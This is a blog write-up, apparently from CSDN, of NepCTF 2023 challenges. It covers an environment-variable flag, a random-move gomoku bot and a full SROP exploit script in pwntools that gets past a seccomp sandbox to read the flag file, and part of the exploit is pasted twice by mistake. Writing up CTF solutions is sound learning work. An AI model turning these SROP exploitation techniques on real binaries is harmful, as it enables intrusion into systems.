NepCTF 2023

NepCTF 2023

为什么开赛两分钟选择不打了?
答案很简单:签到题格式打错了…运营姐姐没回我…48h…
炮灰pwn不会做!!!(其实可以做misc)

Msic

code

题目提示flag在环境变量中 开始STFW
https://blog.csdn.net/aspnet_lyc/article/details/20548767

#include <stdio.h>
 
int main(int argc, char** argv, char** arge)
{
	while(*arge)
	{
		printf("%s\n", *arge++);
	}
	return 0;
}

image-20230814162812545

与AI共舞的哈夫曼

求助chat因为不会用copilot

ConnectedFive

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

五子棋 不会写脚本干下吧hh(求助chat也不是不行)

from pwn import *
import random
r = remote('nepctf.1cepeak.cn', 31762)
def getboard():
    board = []
    for i in range(15):
        data = r.recvline().decode()[3:].replace('[', ' ').replace(']', ' ').strip()
        data = data.split(' ')
        board.append(data)
    return board
table = 'abcdefghijklmno'
while True:
    r.recvline()
    r.recvline()
    r.recvline()
    r.recvline()
    res = r.recvline().decode()
    if(int(res.split(':')[0]) >= 38):
        r.interactive()
    print(res)
    r.recvline()
    r.recvline()
    board = getboard()
    random_x = random.randint(0, 14)
    random_y = random.randint(0, 14)
    while board[random_y][random_x] != '.':
        random_x = random.randint(0, 14)
        random_y = random.randint(0, 14)
    pos = table[random_x] + table[random_y]
    r.recvline()
    r.sendline(pos)
    r.recvline()
陌生的语言

根据提示A同学 开始bing 结果 竟然 看过 (我有罪)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

PWN复现

不是我说 是真不会但是跟着复现cve 从中学到了很多

srop

题目提示classic pwn

先seccomp-tools查看是否有沙盒
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

really exist!
有沙盒,只能使用open,read,write函数. goto 0009中0009是return ALLOW说明允许执行.
若为goto 00010则被禁用.

image-20230816104100112

​ 注意是call syscall函数而不是直接syscall 所以寄存器会有偏移

from pwn import *
io = remote("nepctf.1cepeak.cn",30307)
libc = ELF("./libc-2.27.so")
elf = ELF("./pwn")
context.log_level = 'debug'
context.arch = "amd64"

io.recvuntil("welcome to NepCTF2023!")
pop_rdi = 0x0000000000400813
syscall = 0x4005B0
bss_addr = elf.bss(0x500)
read_function = SigreturnFrame()
read_function.rdi = 0
read_function.rsi = 0
read_function.rdx = bss_addr-0x8
read_function.rcx = 0x500
read_function.rip = syscall
read_function.rsp = bss_addr

payload = cyclic(0x38)+p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(read_function)
io.send(payload)

open = SigreturnFrame()
open.rdi = 2
open.rsi = bss_addr-0x8
open.rdx = 0
open.rcx = 0
open.rip = syscall
open.rsp = bss_addr + 0x110

read_function = SigreturnFrame()
read_function.rdi = 0
read_function.rsi = 3
read_function.rdx = bss_addr - 0x200
read_function.rcx = 0x100
read_function.rip = syscall
read_function.rsp = bss_addr + 0x220

write_funtion = SigreturnFrame()
write_funtion.rdi = 1
write_funtion.rsi = 1
write_funtion.rdx = bss_addr - 0x200
write_funtion.rcx = 0x100
write_funtion.rip = syscall
write_funtion.rsp = bss_addr+0x30

payload = b'./flag\x00\x00'+p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(open)
payload = payload.ljust(0x108,b'\x00')+p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(read_function)
payload = payload.ljust(0x208,b'\x00')+p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(write_funtion)
io.send(payload)

io.recv()
io.recv()

)+bytes(read_function)
payload = payload.ljust(0x208,b’\x00’)+p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(write_funtion)
io.send(payload)

io.recv()
io.recv()


Nepctf{SROP_IT_IS_EAsY_6ee3e57b-3982-4924-844a-d362c3006b20}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值